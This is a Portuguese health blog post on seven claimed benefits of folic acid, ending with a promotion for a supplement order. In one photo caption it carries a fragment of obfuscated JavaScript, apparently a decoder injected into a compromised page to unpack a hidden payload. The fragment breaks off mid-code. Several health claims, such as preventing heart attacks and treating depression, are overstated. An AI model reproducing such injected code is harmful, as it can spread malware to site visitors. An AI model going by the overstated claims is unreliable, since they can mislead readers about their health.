Dicas saudáveis: 7 Benefícios do Ácido Fólico
Dicas saudáveis – 7 Benefícios do Ácido Fólico
Hoje venho falar-lhe de uma vitamina muito importante para o nosso organismo. Já lhe falei dela em vários artigos, no entanto hoje vou explicar-lhe o que é e para que serve nas minhas dicas saudáveis. Apresento-lhe os 7 Benefícios do ácido fólico, também conhecido por vitamina B9.
O ácido fólico é importantíssimo para o nosso organismo por várias razões: auxilia a produção de células vermelhas no sangue, tem um papel essencial na reparação do ADN e no funcionamento do nosso organismo em geral. Contribui para o normal funcionamento do sistema imunitário, contribui para o o crescimento do tecido materno durante a gravidez e contribui para uma normal função psicológica.
Segundo os especialistas ajuda a prevenir AVC, deformações nos fetos e doenças cardiovasculares. Para além ajuda na reestruturação muscular e alivia problemas de distúrbios mentais e emocionais.
Saiba que a falta de ácido fólico no organismo pode causar sintomas como anemia, perda de memória, fadiga e cansaço extremos.
Para incluir esta vitamina fundamental na sua alimentação pode tomar suplementos e consumir alimentos como as laranjas, bananas cogumelos, couve-flor e legumes de folhas verdes. Descubra agora todos os benefícios desta vitamina essencial.
1- Promove uma gravidez saudável
O ácido fólico é essencial na formação e desenvolvimento do bebé. Se pretende engravidar deve falar com o seu médico para se aconselhar acerca da suplementação desta vitamina, já que apenas alimentação não é suficiente.
Permite uma divisão celular correta e é importantíssimo, principalmente, ao nível do desenvolvimento do sistema nervoso do feto (durante a gravidez), em que níveis adequados de ácido fólico previnem deficiências muito graves como a espinha bífida. A necessidade de ácido fólico duplica durante a gravidez e amamentação.
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9 – Promove uma gravidez saudável | Foto: pinimg
2- Previne doenças cardíacas
O ácido fólico é um excelente aliado do nosso coração, já que previne ataques cardíacos, Acidentes Vasculares Cerebrais e ainda controla os níveis de colesterol.
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9 – Previne doenças cardíacas | Foto: awamipolitics
3- Melhora a saúde óssea
O ácido fólico fortalece os nossos ossos e melhora a saúde óssea pois acaba com o excesso de homocisteína que enfraquece os ossos e aumenta a probabilidade de fracturas. Assim, o ácido fólico protege-nos de doenças como a osteoporose, por exemplo.
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9- Melhora a saúde óssea | Foto: patchcdn
4- Recuperação muscular
Segundo alguns especialistas, o ácido fólico é considerado um componente muito importante na reestruturação muscular, uma vez que favorece o crescimento dos músculos e a manutenção dos tecidos.
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9- Recuperação muscular | Foto: function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
5- Alivia os sintomas de problemas emocionais
o ácido fólico pode ser bastante eficaz no tratamento de distúrbios emocionais como o caso da depressão e da ansiedade.
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9- Alivia os sintomas de problemas emocionais | Foto: depressiontreatmentsolutions
6- Melhora a saúde das nossas células
O ácido fólico é um dos elementos mais importantes na formação de glóbulos vermelhos e também um dos principais responsáveis pela construção e reparação das células da pele. Dito de forma simples, esta vitamina ajuda o organismo a substituir as células velhas pelas novas.
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9- Melhora a saúde das nossas células | Foto: oblogdakaren
7- Estimula a formação de hemoglobina
A hemoglobina é essencial para transportar o oxigénio até às nossas células. O ácido fólico é dos principais responsáveis pela sua formação. Muitas e boas razões para consumir ácido fólico, verdade?
Dicas saudáveis: 7 Benefícios do ácido Fólico ou vitamina B9 – Estimula a formação de hemoglobina | Foto: paraquesirve
Como percebeu, é importantíssimo garantir que o seu organismo tem as quantidades ideais de ácido fólico. Para encomendar um frasco com 100 comprimidos basta clicar na imagem que está em baixo. Receberá a encomenda em sua casa, em cerca de 24 horas. Eu confio na Girassol! 🙂
Se gostou de descobrir estes 7 benefícios do ácido fólico ou Vitamina B9, descubra também os benefícios de mais duas a vitaminas essenciais para o organismo: Vitamina A e Vitamina D. Saiba ainda quais são as quantidades ideais de cada alimento e quais os frutos mais hidratantes.
